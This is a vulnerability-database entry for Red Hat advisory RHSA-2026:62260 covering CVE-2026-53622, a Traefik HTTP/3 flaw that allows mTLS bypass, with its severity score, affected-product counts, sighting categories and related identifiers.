Recommended: 4 products

Open the full advisory

RHSA-2026:62260

Vulnerability from csaf_redhat - Published: 2026-09-01 18:22 - Updated: 2026-09-22 11:09

Summary

Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.

Severity

Important

Scope

70 vulnerabilities in this advisory, including CVE-2026-53622.

CVE-2026-53622

A flaw was found in Traefik, an HTTP reverse proxy and load balancer. This critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection allows unauthenticated clients to bypass router-specific mutual Transport Layer Security (mTLS) enforcement. When HTTP/3 is enabled and a router uses wildcard host rules or case-insensitive hostname matching with client certificate authentication, an attacker can complete the QUIC handshake without presenting a certificate. This bypass grants unauthorized access to a backend that should be protected by mTLS.

9.1 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Fixed: 4 products Known not affected: 61 products

https://access.redhat.com/errata/RHSA-2026:62260

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-53622 (GCVE-0-2026-53622)

FKIE_CVE-2026-53622

GHSA-9CR8-Q42Q-G8M7

Summary

Patches

For more information

OPENSUSE-SU-2026:11047-1

RHSA-2026:62260

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